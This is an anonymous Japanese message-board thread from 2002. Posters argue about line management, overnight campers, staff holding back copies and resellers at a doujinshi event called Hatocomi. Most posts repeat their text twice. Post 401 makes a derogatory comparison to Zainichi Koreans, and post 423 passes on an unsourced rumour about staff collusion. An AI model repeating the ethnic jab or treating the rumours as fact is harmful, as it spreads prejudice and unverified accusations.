383 ：名無しさん＠どーでもいいことだが。：02/11/25 14:49 ID:pfDTjcjY
いいかげんなカキコミが一杯あるな。
>列整理の方の知人はいますが、あそこはｽﾀｰﾌの中でも間違いなく
>トップクラスに忙しく＆体力を消耗する場所で、
>与えられた仕事をこなすだけで精一杯でしょう･･･
徹夜組にペナルティをかけるか否か、というのは確かに上が決めるべき事だが、
コミケの列整理屋ならかなりのところまで自己判断でさばけなきゃ失格。
>列整理の方の知人はいますが、あそこはｽﾀｰﾌの中でも間違いなく
>トップクラスに忙しく＆体力を消耗する場所で、
>与えられた仕事をこなすだけで精一杯でしょう･･･
徹夜組にペナルティをかけるか否か、というのは確かに上が決めるべき事だが、
コミケの列整理屋ならかなりのところまで自己判断でさばけなきゃ失格。
384 ：名無しさん＠どーでもいいことだが。：02/11/25 16:01 ID:q/uvaj2V
あんましM崎虐めるなよ（ﾜﾗ
掲示板本人出てコレねーじゃん
掲示板本人出てコレねーじゃん
385 ：名無しさん＠どーでもいいことだが。：02/11/25 19:15 ID:pDiryXlv
>>383
意味がわかりませんなぁ。「一杯」とかいいつつ言いたいことはそれだけ？
「与えられた仕事」が、最低限のマニュアル+
自己判断で列を頑張って整理することなんじゃないのかね？
別に俺はゲートさんをロボットさんだなんて言った覚えはないけどね。
仕事を与えられた＝自分の意志を100％排除してロボットになる
じゃないでしょうに。当日の状況に従って列を整理することが
彼らに与えられた仕事って以上の意味はありませんがね。
だいいち失格とかなんとか言ったところで彼らが仕事しなきゃ、
どーにもならん。
意味がわかりませんなぁ。「一杯」とかいいつつ言いたいことはそれだけ？
「与えられた仕事」が、最低限のマニュアル+
自己判断で列を頑張って整理することなんじゃないのかね？
別に俺はゲートさんをロボットさんだなんて言った覚えはないけどね。
仕事を与えられた＝自分の意志を100％排除してロボットになる
じゃないでしょうに。当日の状況に従って列を整理することが
彼らに与えられた仕事って以上の意味はありませんがね。
だいいち失格とかなんとか言ったところで彼らが仕事しなきゃ、
どーにもならん。
386 ：名無しさん＠どーでもいいことだが。：02/11/25 19:19 ID:pDiryXlv
「徹夜をどう処理するか」の「どう」に解釈の違いがあったかもしれないが。
俺はあくまでコミケのときの話してるから。
今回のハトコミで、15分のフリータイムができてしまったのが
「担当列整理スタッフの能力のなさ」
というのなら、それはそう思うよ。
ペナが無いと決めたなら決めたでちゃんと誘導させたりするのは彼らの仕事。
その点では今回はいろいろオワットル
俺はあくまでコミケのときの話してるから。
今回のハトコミで、15分のフリータイムができてしまったのが
「担当列整理スタッフの能力のなさ」
というのなら、それはそう思うよ。
ペナが無いと決めたなら決めたでちゃんと誘導させたりするのは彼らの仕事。
その点では今回はいろいろオワットル
387 ：名無しさん＠どーでもいいことだが。：02/11/25 20:42 ID:8/0FpFoB
>386
？？？
じゃあコミケでの列整理はどうすればいいの？
徹夜にペナ無しということは上で決定されてるとして。
ただ黙々と混乱の無いように列を整理する以上に
判断すべき事項は無いと思うが。
「かなりのところまで自己判断でさばく」をやっちゃうと
現場が非常に混乱するような気がするのは気のせい？
？？？
じゃあコミケでの列整理はどうすればいいの？
徹夜にペナ無しということは上で決定されてるとして。
ただ黙々と混乱の無いように列を整理する以上に
判断すべき事項は無いと思うが。
「かなりのところまで自己判断でさばく」をやっちゃうと
現場が非常に混乱するような気がするのは気のせい？
388 ：名無しさん＠どーでもいいことだが。：02/11/25 21:43 ID:NKt8eLAn
どっちも間違ったこといってないだろｗ
ケースバイケースだよ
ケースバイケースだよ
389 ：名無しさん＠どーでもいいことだが。：02/11/25 22:16 ID:2713Ot1e
381は間違い
380がその通り
380がその通り
390 ：名無しさん＠どーでもいいことだが。：02/11/25 22:22 ID:bY+KjOSn
タケダさん？つながりで赤豚って書いたんじゃない？
まあクリエイションと豚は、思想的にもあまり関連はないよね
まあクリエイションと豚は、思想的にもあまり関連はないよね
391 ：名無しさん＠どーでもいいことだが。：02/11/25 22:24 ID:bY+KjOSn
俺は当日見物に行ったんだが、列さばきはどいつもこいつもあまり巧くなかったね
スタッフスキルが無かったんじゃないの？ やる気も無かったのかもしれないが
スタッフスキルが無かったんじゃないの？ やる気も無かったのかもしれないが
392 ：名無しさん＠どーでもいいことだが。：02/11/25 23:39 ID:AQEjWYwS
>390
タケダさん？
赤豚ならタケダさんだけど
クリエイションならタケヤマさん。
本題に戻そう
当日の列整理だが、はっきり言えば下手。
ただ、理由になるかどうかぎりぎりだはあるが
ハトコミの列整理スタッフてのは
東４～６なのは既出だがレヴォでは赤や青のフロア担当であり
緑のフロア担当のスタッフではないために多少勝手が違ったようである。
・・・それ差っぴいても問題あるんだけどな。
全体的にマニュアル化しすぎてるスタッフが多かったね。
列が捌けた、完売した後もその場から動かないスタッフや
ひとつの方向案内を２～３人でやってるの見てると
こいつらアドリブ効かせて他のヘルプにいけないのかなと感じた。
タケダさん？
赤豚ならタケダさんだけど
クリエイションならタケヤマさん。
本題に戻そう
当日の列整理だが、はっきり言えば下手。
ただ、理由になるかどうかぎりぎりだはあるが
ハトコミの列整理スタッフてのは
東４～６なのは既出だがレヴォでは赤や青のフロア担当であり
緑のフロア担当のスタッフではないために多少勝手が違ったようである。
・・・それ差っぴいても問題あるんだけどな。
全体的にマニュアル化しすぎてるスタッフが多かったね。
列が捌けた、完売した後もその場から動かないスタッフや
ひとつの方向案内を２～３人でやってるの見てると
こいつらアドリブ効かせて他のヘルプにいけないのかなと感じた。
393 ：名無しさん＠どーでもいいことだが。：02/11/26 01:28 ID:OtcqM7j4
>>384
出られる訳無いじゃん。
取り置きの件だの一般参加者に戻れだのって、彼にとって一番耳が痛い指摘だもんな。
まあ三崎氏が今の立場になるまでには、それ相応の行動があってのことなんだろうけど、
それが免罪符にはならんよなぁ。（w
出られる訳無いじゃん。
取り置きの件だの一般参加者に戻れだのって、彼にとって一番耳が痛い指摘だもんな。
まあ三崎氏が今の立場になるまでには、それ相応の行動があってのことなんだろうけど、
それが免罪符にはならんよなぁ。（w
394 ：名無しさん＠どーでもいいことだが。：02/11/26 03:46 ID:Bq9YazNa
初期の栗エイションのボスは、元・赤豚東京事務所の無拉致たん。
例の幕張都市中止事件のゴタゴタの際に、豚社長と衝突して退社した豚幹部。
んで、※やんに拾われて栗を始めたものの、回を重ねるごとに寒いイベントとなり、
ビッグサイト→ＴＲＣ→ＰｉＯと都落ちしていく様は「いとあはれ」だった。
結局、無拉致たんは栗のボスを降りるのだが、それと前後して、
ﾌﾞﾛｺﾘの漫画城＠惨シャインを引き継ぐ形で惨栗が開催されるようになり、
今ではこちらが栗の本家と言ってもいいぐらいの大盛況が続いている、と。
一方、元祖栗のコミ栗も、同人誌の展示即売以外のところに活路を見い出し、
年に１～２回ＴＲＣでﾏﾀｰﾘ開催中なのは周知のとおり。
スレ違いsage
例の幕張都市中止事件のゴタゴタの際に、豚社長と衝突して退社した豚幹部。
んで、※やんに拾われて栗を始めたものの、回を重ねるごとに寒いイベントとなり、
ビッグサイト→ＴＲＣ→ＰｉＯと都落ちしていく様は「いとあはれ」だった。
結局、無拉致たんは栗のボスを降りるのだが、それと前後して、
ﾌﾞﾛｺﾘの漫画城＠惨シャインを引き継ぐ形で惨栗が開催されるようになり、
今ではこちらが栗の本家と言ってもいいぐらいの大盛況が続いている、と。
一方、元祖栗のコミ栗も、同人誌の展示即売以外のところに活路を見い出し、
年に１～２回ＴＲＣでﾏﾀｰﾘ開催中なのは周知のとおり。
スレ違いsage
395 ：名無しさん＠どーでもいいことだが。：02/11/26 04:10 ID:hBUR7/k9
クリエイションの話はどうでもいい
どうであろうと赤豚から分離というのとは違うってことで
382の>上層部の腐った人間に対する無血革命
裏切り者とか出そうだね。
実際上層部に反乱起こせるスタッフなんていないでしょう。こわいから。
日本一のイベントで力を持つ人達が一般参加者の立場（または視点）を考えられなくなったら
もう駄目だってことに気付かないのか・・・コミケの理念って何？
わかってはいたが、それを実感させられましたよ、ハトコミ。
どうであろうと赤豚から分離というのとは違うってことで
382の>上層部の腐った人間に対する無血革命
裏切り者とか出そうだね。
実際上層部に反乱起こせるスタッフなんていないでしょう。こわいから。
日本一のイベントで力を持つ人達が一般参加者の立場（または視点）を考えられなくなったら
もう駄目だってことに気付かないのか・・・コミケの理念って何？
わかってはいたが、それを実感させられましたよ、ハトコミ。
396 ：名無しさん＠どーでもいいことだが。：02/11/26 07:50 ID:XE2/2+jl
コミケだって、今の大命題は「いかに一般参加者を減らすか/振り落とすか」じゃん。
むろんタテマエ上、そんなことは正面切っては誰も言わないけどね。
むろんタテマエ上、そんなことは正面切っては誰も言わないけどね。
397 ：名無しさん＠どーでもいいことだが。：02/11/26 08:13 ID:N4S989dH
>396
でもハトコミのような方法で振り落とされるのは
ルールを守るまっとうな一般参加者だけである罠
イベンターと大手サークルとダミー及び転売屋だけのイベントを
コミケスタッフは望むのか
でもハトコミのような方法で振り落とされるのは
ルールを守るまっとうな一般参加者だけである罠
イベンターと大手サークルとダミー及び転売屋だけのイベントを
コミケスタッフは望むのか
398 ：名無しさん＠どーでもいいことだが。：02/11/26 09:09 ID:AJYjEs+V
ついていけない！！
最近、下っ端スタッフとしゃべるといっつも出る台詞。
暴走しているみたいだね。＞上層部
399 ：名無しさん＠どーでもいいことだが。：02/11/26 18:13 ID:SdDzRN0V
>398
最近スタッフとしゃべってると出てくる言葉は
「ありえない」が多いと思う（藁
最近スタッフとしゃべってると出てくる言葉は
「ありえない」が多いと思う（藁
400 ：名無しさん＠どーでもいいことだが。：02/11/26 19:10 ID:xwMaK54M
徹夜問題を考える際、倫理面でコミケを出すのは間違ってはいない。
ただ、運営・規模・会場の差を考えると、ハトコミとコミケの徹夜問題を
並べて比較する事自体が筋違い（サークル数からしても万単位と450）
そういう論点のずらし逃げこそが、同人総研の手だったワケだが。
コミケの徹夜組の込み入った話はコミケスレでやった方が良いかも。
ともかく、徹夜組の温床であるコミケを引き合いに出したその上で、
ハトコミと同じサンシャイン開催イベントの、
レヴォとサンクリの徹夜問題を語るべきだったと思う。
その２つを出すと、徹夜ペナは可能という結論に達するので避けたのだろうが。
徹夜問題が深刻しているイベントなんて数える程しかない。
旬の大手が来ればどの即売会でも起こりうる？
ハトコミみたいな面子で中小規模のオンリーに申し込みが来たら
普通は主催とスタッフは頭抱えて悩んだ結果「お断り」するよ。
ましてや、あらかじめ徹夜組が大量に出るのが明白な面子を揃え
カタログでさんざん徹夜禁止と謳ったあげく、あんな結果じゃね。
「即・退場！！」ね…。
ただ、運営・規模・会場の差を考えると、ハトコミとコミケの徹夜問題を
並べて比較する事自体が筋違い（サークル数からしても万単位と450）
そういう論点のずらし逃げこそが、同人総研の手だったワケだが。
コミケの徹夜組の込み入った話はコミケスレでやった方が良いかも。
ともかく、徹夜組の温床であるコミケを引き合いに出したその上で、
ハトコミと同じサンシャイン開催イベントの、
レヴォとサンクリの徹夜問題を語るべきだったと思う。
その２つを出すと、徹夜ペナは可能という結論に達するので避けたのだろうが。
徹夜問題が深刻しているイベントなんて数える程しかない。
旬の大手が来ればどの即売会でも起こりうる？
ハトコミみたいな面子で中小規模のオンリーに申し込みが来たら
普通は主催とスタッフは頭抱えて悩んだ結果「お断り」するよ。
ましてや、あらかじめ徹夜組が大量に出るのが明白な面子を揃え
カタログでさんざん徹夜禁止と謳ったあげく、あんな結果じゃね。
「即・退場！！」ね…。
401 ：名無しさん＠どーでもいいことだが。：02/11/26 21:52 ID:jozmcH0S
>398
「拉致事件に心を痛めています」と言う在日朝鮮人みたいなものでしょう
ここまで来ても金政権打倒の動きの素振りすらうかがえない
ついこないだまで「ありえない」とか言ってた人達ですが
「拉致事件に心を痛めています」と言う在日朝鮮人みたいなものでしょう
ここまで来ても金政権打倒の動きの素振りすらうかがえない
ついこないだまで「ありえない」とか言ってた人達ですが
402 ：名無しさん＠どーでもいいことだが。：02/11/27 09:23 ID:v7f/lQan
今の状態は古代中国の国が滅びる前によく似てるよね。
金（プレミア本）が力であり、賄賂や買収の得意なものが
重職につき、それを受け入れないものは正しいがゆえに
粛清される。
民（一般）は怒り、心有る官僚（スタッフ）は閑職で愚痴をこぼし
世を憂う。商人（サークル）は、世の中よりも自分の利益の
追求に熱心で、気にもとめない。
金（プレミア本）が力であり、賄賂や買収の得意なものが
重職につき、それを受け入れないものは正しいがゆえに
粛清される。
民（一般）は怒り、心有る官僚（スタッフ）は閑職で愚痴をこぼし
世を憂う。商人（サークル）は、世の中よりも自分の利益の
追求に熱心で、気にもとめない。
403 ：名無しさん＠どーでもいいことだが。：02/11/27 18:50 ID:idvI6ABW
上に逆らうと怖い？
んなこたーないけど、別に職場じゃないんだからそんなことしたいとは思わず。
自分がいやになったらスターフやめれば済むことだし、な。
もちろん何か変えた即売会を作りたい とか まあいろいろ自分が
「いいな」って思う案を出して先導する人がいたら金魚の糞よろしく
ぴょこぴょこついていくとは思いますが。
結局無気力なんよね。ｽﾀｰﾌ。
今の即売会の上の姿勢にははなはだ疑問はあるけど
政治的な問題とかいろいろあるんだろうね。
まあでも一応同人誌とこの世界が好きだからずるずるとしばらく
ｽﾀｰﾌをやってることでせう。
んなこたーないけど、別に職場じゃないんだからそんなことしたいとは思わず。
自分がいやになったらスターフやめれば済むことだし、な。
もちろん何か変えた即売会を作りたい とか まあいろいろ自分が
「いいな」って思う案を出して先導する人がいたら金魚の糞よろしく
ぴょこぴょこついていくとは思いますが。
結局無気力なんよね。ｽﾀｰﾌ。
今の即売会の上の姿勢にははなはだ疑問はあるけど
政治的な問題とかいろいろあるんだろうね。
まあでも一応同人誌とこの世界が好きだからずるずるとしばらく
ｽﾀｰﾌをやってることでせう。
404 ：名無しさん＠どーでもいいことだが。：02/11/27 23:17 ID:8sPg+cQq
405 ：名無しさん＠どーでもいいことだが。：02/11/28 00:22 ID:MPHLQFXS
>>404
奴隷か・・・
奴隷か・・・
406 ：名無しさん＠どーでもいいことだが。：02/11/28 00:47 ID:9cfU7NEK
>405
いいえ、財布です。
いいえ、財布です。
407 ：名無しさん＠どーでもいいことだが。：02/11/28 00:47 ID:zAubqS93
>>405
家畜でしょ。いや、居るだけ邪魔だから害獣かな？
家畜でしょ。いや、居るだけ邪魔だから害獣かな？
408 ：名無しさん＠どーでもいいことだが。：02/11/28 01:41 ID:MPHLQFXS
家畜というより畜生だね・・・
409 ：名無しさん＠どーでもいいことだが。：02/11/28 04:05 ID:eIx+v8G0
一般は奴隷以下の存在なのに自分をお客様だと思いこんでいるから怖い
410 ：名無しさん＠どーでもいいことだが。：02/11/28 05:39 ID:Wi4+tjHS
本当にそうかなぁ
飼い慣らされてるのは一般なんじゃなくてサークルのほうじゃねえの？
飼い慣らされてるのは一般なんじゃなくてサークルのほうじゃねえの？
411 ：名無しさん＠どーでもいいことだが。：02/11/28 06:47 ID:ZAlswLTq
それは言える。
奴隷だ家畜だって逝っても、結局一般受けする本出すんでしょ。
それが本当に自分が描きたい本か？
そう思い込んでるだけじゃないか？
奴隷だ家畜だって逝っても、結局一般受けする本出すんでしょ。
それが本当に自分が描きたい本か？
そう思い込んでるだけじゃないか？
412 ：名無しさん＠どーでもいいことだが。：02/11/28 07:12 ID:jHYMEdGx
>>410、>>411
各準備会（というより、その上層ｽﾀｰﾌ）と大手ｻｰｸﾙの間に繋がりがあるのは事実だが、
今は>>402が一般を民扱いして>>403以下がその部分を指摘してるのだからその反論は無意味
>>407が言ってるように居るだけ邪魔ってのが的を得てるかと
各準備会（というより、その上層ｽﾀｰﾌ）と大手ｻｰｸﾙの間に繋がりがあるのは事実だが、
今は>>402が一般を民扱いして>>403以下がその部分を指摘してるのだからその反論は無意味
>>407が言ってるように居るだけ邪魔ってのが的を得てるかと
413 ：名無しさん＠どーでもいいことだが。：02/11/28 07:30 ID:RTGKkxFN
一般以上にサークル＆スタッフの思い上がりが強いじゃないの？。
つーか一般が邪魔なら回覧同人誌のお茶会で止めておけって感じ(ｗ。
つーか一般が邪魔なら回覧同人誌のお茶会で止めておけって感じ(ｗ。
414 ：名無しさん＠どーでもいいことだが。：02/11/28 07:51 ID:aHk1xs2t
415 ：名無しさん＠どーでもいいことだが。：02/11/28 07:55 ID:DrYUqYK0
民を虫けらだと思うのが、愚政者の典型的な症状だが。
彼らも民は家畜並であり、税を納める財布だと言うと思うよ。
商人も民に売るよりお上に売ったほうが儲かるし、民は
いらないと考えてると思うな。
まさに典型的。
彼らも民は家畜並であり、税を納める財布だと言うと思うよ。
商人も民に売るよりお上に売ったほうが儲かるし、民は
いらないと考えてると思うな。
まさに典型的。
416 ：名無しさん＠どーでもいいことだが。：02/11/28 08:17 ID:H9RtB72Q
一般はいらないと思うサークルは署名活動でもしたらどうだ。
そーか、自分のサークルスペースに
「一般は奴隷以下です」
「邪魔だ！！ちかよるんじゃねえ！！」
とでも書いて貼り付けておいたらどうかね（ｗ
そーか、自分のサークルスペースに
「一般は奴隷以下です」
「邪魔だ！！ちかよるんじゃねえ！！」
とでも書いて貼り付けておいたらどうかね（ｗ
417 ：名無しさん＠どーでもいいことだが。：02/11/28 09:03 ID:iMQzVj1y
かと言ってお茶会系で一般無しのイベント開くとまた騒ぐしな。
たしかBSでそんなことなかったっけ？
つーか前提としての402の例えが間違ってるから
その後の流れがぜんぜんおかしくなってるんだが。
今の即売会の状況は今の政治とにたりよったりじゃねーの？
日和見で風見鳥で利益や楽しいほうにすぐ向いて
駄目と思えば昨日までの友でも今日には叩くと。
俺はそれはそれで良いと思ってるけどな。
楽しむための酔狂な趣味なんだから。
たしかBSでそんなことなかったっけ？
つーか前提としての402の例えが間違ってるから
その後の流れがぜんぜんおかしくなってるんだが。
今の即売会の状況は今の政治とにたりよったりじゃねーの？
日和見で風見鳥で利益や楽しいほうにすぐ向いて
駄目と思えば昨日までの友でも今日には叩くと。
俺はそれはそれで良いと思ってるけどな。
楽しむための酔狂な趣味なんだから。
402の例えは間違ってないと思うけど。
プレミア＝供給不足な状態で食料危機と同じ。
そういう状況では官僚（スタッフ）とサークル（商人）だけで
需要が満たされてしまう。民からのわずかな税収や売上より
商人や下級官僚からの賄賂の方が潤うし。
この感覚からすると、民はいらないと思っておかしくない。
必要最低限で十分だと考える。
まさに今がこの状態。
そういう状況で民が食料を得ようとすれば、盗賊になるか
官僚や商人とお近づきになってわけてもらうか。お近づきに
なるにも賄賂は必要。
このスレの一般への責任論から感じるのは、民は官僚や商人に
賄賂を贈る努力をしろって感じ。努力とはその努力。
たいてい民が疲弊すると国力が落ち、国が倒れるわけですが。
自浄能力のなくなった国は滅びるのみ。歴史は繰り返す。
プレミア＝供給不足な状態で食料危機と同じ。
そういう状況では官僚（スタッフ）とサークル（商人）だけで
需要が満たされてしまう。民からのわずかな税収や売上より
商人や下級官僚からの賄賂の方が潤うし。
この感覚からすると、民はいらないと思っておかしくない。
必要最低限で十分だと考える。
まさに今がこの状態。
そういう状況で民が食料を得ようとすれば、盗賊になるか
官僚や商人とお近づきになってわけてもらうか。お近づきに
なるにも賄賂は必要。
このスレの一般への責任論から感じるのは、民は官僚や商人に
賄賂を贈る努力をしろって感じ。努力とはその努力。
たいてい民が疲弊すると国力が落ち、国が倒れるわけですが。
自浄能力のなくなった国は滅びるのみ。歴史は繰り返す。
419 ：名無しさん＠どーでもいいことだが。：02/11/28 11:57 ID:pRTwhx08
供給不足でプレミア？一部にあるのは否定しないが
ほとんどのサークルはそれなりの供給量を刷っていると思う。
読むつもりもないのに同人ショップやヤフオクで転売して
利ざやを稼ごうとする転売屋がいるから手に入らないんだし
手にいらなかったりプレミアつく原因はそいつら転売屋であって
これをスタッフやサークルに責任転嫁するのは間違い。
ほとんどのサークルはそれなりの供給量を刷っていると思う。
読むつもりもないのに同人ショップやヤフオクで転売して
利ざやを稼ごうとする転売屋がいるから手に入らないんだし
手にいらなかったりプレミアつく原因はそいつら転売屋であって
これをスタッフやサークルに責任転嫁するのは間違い。
420 ：名無しさん＠どーでもいいことだが。：02/11/28 11:57 ID:yrFiuG/B
んなこたどーでもいいんだよ。
疥癬に文句があるならその場で言えよ。
あとからグチグチゆーなよ、へたれ作家君。
疥癬に文句があるならその場で言えよ。
あとからグチグチゆーなよ、へたれ作家君。
421 ：名無しさん＠どーでもいいことだが。：02/11/28 12:08 ID:0q9f7fqh
>419
でも、転売屋って、一般参加のヤシにはあまりいない。
どっちかっていうと、ピコサークルやスタッフのファンネルが多いだろう。
でも、転売屋って、一般参加のヤシにはあまりいない。
どっちかっていうと、ピコサークルやスタッフのファンネルが多いだろう。
423 ：名無しさん＠どーでもいいことだが。：02/11/28 12:24 ID:0q9f7fqh
ある作家が大物スタッフと取引して、チケットを都合してもらう代わりに
生産終了の限定本を新たに刷って転売用に渡している。
って、聞いたことがあるなあ。
どこのスレだったかな？ 探してこようっと！
生産終了の限定本を新たに刷って転売用に渡している。
って、聞いたことがあるなあ。
どこのスレだったかな？ 探してこようっと！
424 ：名無しさん＠どーでもいいことだが。：02/11/28 12:49 ID:g1M7m46H
スレに書いてあれば本当の事なのか？
425 ：名無しさん＠どーでもいいことだが。：02/11/28 13:21 ID:iMQzVj1y
いや、だからさ・・・
例え話で置き換えると
話こんがらがるつーか意味不鮮明になるんだが・・・
402はなんか北批判の工作員か
最近中国史を習ってご機嫌な人に見えてきた。
例え話で置き換えると
話こんがらがるつーか意味不鮮明になるんだが・・・
402はなんか北批判の工作員か
最近中国史を習ってご機嫌な人に見えてきた。
426 ：名無しさん＠どーでもいいことだが。：02/11/28 16:05 ID:Uv4+yKNd
402はサークルは読みたいと思う人全員に行き渡るようにする責任があると
言ってるようだが、正気ですか？
言ってるようだが、正気ですか？
427 ：名無しさん＠どーでもいいことだが。：02/11/28 17:00 ID:g1M7m46H
>読みたいと思う人全員に行き渡るようにする責任がある
原えりすんも自分のサイトでそんなことを述べてないか？
そんなにエロ本が欲しいのかね、一冊たりとも余さずに。
原えりすんも自分のサイトでそんなことを述べてないか？
そんなにエロ本が欲しいのかね、一冊たりとも余さずに。
428 ：名無しさん＠どーでもいいことだが。：02/11/28 18:14 ID:UoQz+JWV
ワシらの立場は白人警官への無罪評決に端を発して暴動起こした
ロサンゼルスの人たちと同じなんじゃないの。直接の原因はそれだけど
それ以外にも不満は色々あるとゆう。
そして雲上人は不満分子がそれなりの数いることをすっかり忘れている。
あるいは軽視している。
ロサンゼルスの人たちと同じなんじゃないの。直接の原因はそれだけど
それ以外にも不満は色々あるとゆう。
そして雲上人は不満分子がそれなりの数いることをすっかり忘れている。
あるいは軽視している。
429 ：名無しさん＠どーでもいいことだが。：02/11/28 19:17 ID:CVFXTHu4
で、文句ばっかり言う割にはｽﾀｰﾌ申し込みすらしない奴らがいるわけだが。
一回自分でやってみろ、と。
一回自分でやってみろ、と。
430 ：名無しさん＠どーでもいいことだが。：02/11/28 19:49 ID:WO9lAeCj
>>429の言葉が足りなすぎて何が言いたいのかさっぱりわからん。
そう思ってる阿呆はオレだけか？
そう思ってる阿呆はオレだけか？
431 ：名無しさん＠どーでもいいことだが。：02/11/28 20:10 ID:i4L1LUDq
>>429
10年近く複数即売会のｽﾀｰﾌやってるが、何か？
私からしても今回のハトコミはおかしいと思ったよ。
主催と幹部スタッフは自らを裁いて、自らの罪を懺悔してほしいもんだ。
じゃ、議論続けてくれ。
10年近く複数即売会のｽﾀｰﾌやってるが、何か？
私からしても今回のハトコミはおかしいと思ったよ。
主催と幹部スタッフは自らを裁いて、自らの罪を懺悔してほしいもんだ。
じゃ、議論続けてくれ。
432 ：名無しさん＠どーでもいいことだが。：02/11/28 20:49 ID:zOHu2lrR
>429
スタッフの仕事はきついとみんな言いますが、オタクが体力なさすぎなだけ。
イベント会社に勤めてる俺にとってはメチャメチャ軽い仕事なんですよ。
むしろ俺は寒い中、５時間以上並んで本を買う一般参加のほうがきついと思います。
スタッフの仕事はきついとみんな言いますが、オタクが体力なさすぎなだけ。
イベント会社に勤めてる俺にとってはメチャメチャ軽い仕事なんですよ。
むしろ俺は寒い中、５時間以上並んで本を買う一般参加のほうがきついと思います。
433 ：名無しさん＠どーでもいいことだが。：02/11/28 20:55 ID:XjcStSuR
＞読むつもりもないのに同人ショップやヤフオクで転売して
＞利ざやを稼ごうとする転売屋がいるから手に入らないんだし
モノによるけど基本的に転売にヤフで即回転する本は数％だと思うが。
もちろんヤフ以外だってたくさん流れるけどさ。
作ってる側からすればこれは「高い」数値だろうけど、
「欲しい人」から見ればどうでしょう？たしかに数％の人は手に入れることが
できなかったのは残念なことです。でも、あなたはそいつらいなかったら
本当にほとんどすべての自分の欲しい本が手に入ったんですか？
転売屋むかつくのわかるけどなんでも
責任転嫁しようとするのはフラストレーションを自分の都合のいいものに
おしつけてるようにしか思えませぬ。
むしろ大手だとスタッフの取りおきの吸収分とか。
典型的な大手で 転売+取り起きいれれば、1割を超えるのはたくさんありそうだが、
正直取り起きはかなり規模がでかくて数がわからん。
刷ってるのがたまたま少なければ50％とか超えることだってありうるだろうしね。
俺はむしろ一般参加者がワリをくってるのはこっちだと思うよ。
でも最後に。スタッフみんながおこぼれに預かれるわけではありません。
＞利ざやを稼ごうとする転売屋がいるから手に入らないんだし
モノによるけど基本的に転売にヤフで即回転する本は数％だと思うが。
もちろんヤフ以外だってたくさん流れるけどさ。
作ってる側からすればこれは「高い」数値だろうけど、
「欲しい人」から見ればどうでしょう？たしかに数％の人は手に入れることが
できなかったのは残念なことです。でも、あなたはそいつらいなかったら
本当にほとんどすべての自分の欲しい本が手に入ったんですか？
転売屋むかつくのわかるけどなんでも
責任転嫁しようとするのはフラストレーションを自分の都合のいいものに
おしつけてるようにしか思えませぬ。
むしろ大手だとスタッフの取りおきの吸収分とか。
典型的な大手で 転売+取り起きいれれば、1割を超えるのはたくさんありそうだが、
正直取り起きはかなり規模がでかくて数がわからん。
刷ってるのがたまたま少なければ50％とか超えることだってありうるだろうしね。
俺はむしろ一般参加者がワリをくってるのはこっちだと思うよ。
でも最後に。スタッフみんながおこぼれに預かれるわけではありません。
434 ：名無しさん＠どーでもいいことだが。：02/11/28 20:57 ID:WO9lAeCj
435 ：名無しさん＠どーでもいいことだが。：02/11/28 21:42 ID:z7Vqt5qx
>433
「転売屋」には「取り置きさせてるスタッフ」も含まれると思われ
「転売屋」には「取り置きさせてるスタッフ」も含まれると思われ
436 ：名無しさん＠どーでもいいことだが。：02/11/28 21:48 ID:0q9f7fqh
>435
でも、ほとんどのスタッフは、転売は一部の疥癬がやっていること。ってことにしてましたよ。
でも、ほとんどのスタッフは、転売は一部の疥癬がやっていること。ってことにしてましたよ。
437 ：名無しさん＠どーでもいいことだが。：02/11/28 23:09 ID:z7Vqt5qx
>436
「そういうことにしておきたい」んでしょ
コミケだっていまだにスタッフ取り置きやスタッフチケットの問題については
一切手をつけようとはしてない
まるでそんな問題は存在しないかのように
サークルチケは一時、２枚にしようかという動きがあったが
「そういうことにしておきたい」んでしょ
コミケだっていまだにスタッフ取り置きやスタッフチケットの問題については
一切手をつけようとはしてない
まるでそんな問題は存在しないかのように
サークルチケは一時、２枚にしようかという動きがあったが
438 ：名無しさん＠どーでもいいことだが。：02/11/29 00:07 ID:v0WXf9Qw
439 ：名無しさん＠どーでもいいことだが。：02/11/29 00:28 ID:ndSzI4Mi
>>429
そう思うならスタッフであることをやめろ。
君が自発的にスタッフをしてるんじゃないか？
自分の意志でスタッフやってんのに「やってやってる」面すんな。
しかも口に出しちまいやがって。
>>437
転売というシステムに取り込まれてるんだから対策を講じると考える方が不自然。
そう思うならスタッフであることをやめろ。
君が自発的にスタッフをしてるんじゃないか？
自分の意志でスタッフやってんのに「やってやってる」面すんな。
しかも口に出しちまいやがって。
>>437
転売というシステムに取り込まれてるんだから対策を講じると考える方が不自然。
440 ：名無しさん＠どーでもいいことだが。：02/11/29 02:30 ID:0sI6KeQV
つーかさ
俺サークルもやってるし、スタッフもやってる、偶に一般もしてるんだ。
ハトコミの場合
見知ったスタッフやサークルがいるの知ってても
それでもやっぱおかしいと思ったよ。
ハトコミだけを考えれば本当に一般が可哀想だとは思う。
俺自身はコミケでちょっとしたルール違反も大目にみてたりもする。
でもね・・・それであまりにも調子に乗られるとやっぱうーんと思うのよ。
なんていうか、今の即売会で一番軽く見られちゃってるけど
皆、好きな本を目指して頑張ってるねとは思うけど
そういう立場を逆に盾として欲しくないし良くないと思うんだが。
上手く言えないんだけど
スタッフのやってやってる発言もまずいと思うんだけど
それと同じくらい
一般さんの俺たちは弱い立場で参加してるんだ発言も良くないと思うんだわ。
俺サークルもやってるし、スタッフもやってる、偶に一般もしてるんだ。
ハトコミの場合
見知ったスタッフやサークルがいるの知ってても
それでもやっぱおかしいと思ったよ。
ハトコミだけを考えれば本当に一般が可哀想だとは思う。
俺自身はコミケでちょっとしたルール違反も大目にみてたりもする。
でもね・・・それであまりにも調子に乗られるとやっぱうーんと思うのよ。
なんていうか、今の即売会で一番軽く見られちゃってるけど
皆、好きな本を目指して頑張ってるねとは思うけど
そういう立場を逆に盾として欲しくないし良くないと思うんだが。
上手く言えないんだけど
スタッフのやってやってる発言もまずいと思うんだけど
それと同じくらい
一般さんの俺たちは弱い立場で参加してるんだ発言も良くないと思うんだわ。
>438
わるいな、それ誤爆だ。
ちょっと違うスレであまりにおバカなサークルがいたもんでな。
こっちとこんがらがっただけ。
わるいな、それ誤爆だ。
ちょっと違うスレであまりにおバカなサークルがいたもんでな。
こっちとこんがらがっただけ。
442 ：名無しさん＠どーでもいいことだが。：02/11/29 07:36 ID:Kd0p35Ml
（´-｀）.｡oO（早く同人誌総研が更新されないかな…）
443 ：名無しさん＠どーでもいいことだが。：02/11/29 18:56 ID:pW8Ci00x
たとえ話は本質を見失うのでやめたほうがいいよ
444 ：名無しさん＠どーでもいいことだが。：02/11/30 15:16 ID:zZdx/lQn
YQNはもうどうでもええのん？
445 ：名無しさん＠どーでもいいことだが。：02/11/30 15:23 ID:jNAhXSv2
